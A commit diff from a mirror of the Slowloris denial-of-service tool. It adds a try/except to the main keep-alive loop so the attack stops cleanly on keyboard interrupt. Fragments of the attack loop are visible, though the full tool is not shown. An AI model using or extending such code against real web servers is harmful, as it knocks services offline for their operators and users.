mirror of https://github.com/Askill/slowloris.git
parent
a89668c444
commit
59fc07d0cb
|
|
@ -109,6 +109,7 @@ def main():
|
||||||
list_of_sockets.append(s)
|
list_of_sockets.append(s)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
try:
|
||||||
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
|
logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
|
||||||
for s in list(list_of_sockets):
|
for s in list(list_of_sockets):
|
||||||
try:
|
try:
|
||||||
|
|
@ -126,5 +127,9 @@ def main():
|
||||||
break
|
break
|
||||||
time.sleep(15)
|
time.sleep(15)
|
||||||
|
|
||||||
|
except (KeyboardInterrupt, SystemExit):
|
||||||
|
print("\nStopping Slowloris...")
|
||||||
|
break
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|
|
||||||
Loading…
Reference in New Issue